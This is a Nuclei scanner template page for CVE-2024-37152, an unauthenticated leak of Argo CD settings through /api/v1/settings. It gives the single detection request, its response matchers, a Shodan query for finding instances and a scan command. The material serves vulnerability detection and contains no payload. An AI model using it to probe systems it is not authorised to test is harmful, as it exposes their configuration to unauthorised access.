Argo CD Unauthenticated Access to sensitive setting

ID: CVE-2024-37152

Severity: medium

Author: DhiyaneshDk

Tags: cve,cve2024,argo-cd,info-leak

Description

Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. The vulnerability allows unauthorized access to the sensitive settings exposed by /api/v1/settings endpoint without authentication. All sensitive settings are hidden except passwordPattern.

YAML Source

id: CVE-2024-37152

info:
  name: Argo CD Unauthenticated Access to sensitive setting
  author: DhiyaneshDk
  severity: medium
  description: |
    Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. The vulnerability allows unauthorized access to the sensitive settings exposed by /api/v1/settings endpoint without authentication. All sensitive settings are hidden except passwordPattern.
  reference:
    - https://github.com/argoproj/argo-cd/security/advisories/GHSA-87p9-x75h-p4j2
    - https://nvd.nist.gov/vuln/detail/CVE-2024-37152
  classification:
    cpe: cpe:2.3:a:argoproj:argo_cd:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: argoproj
    product: argo_cd
    shodan-query: html:"Argo CD"
  tags: cve,cve2024,argo-cd,info-leak

http:
  - raw:
      - |
        GET /api/v1/settings HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"passwordPattern":'
          - '"appLabelKey":'
        condition: and

      - type: word
        part: content_type
        words:
          - 'application/json'

      - type: status
        status:
          - 200
# digest: 490a00463044022009cba41679cddfc3d679a793aaed300c9b2d5dfddb1d94c23172d19de1ca12d002201045128acd54fba8932574c648c24d9d9a174315ced4da96e2f1f041b5c20911:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2024/CVE-2024-37152.yaml"

View on Github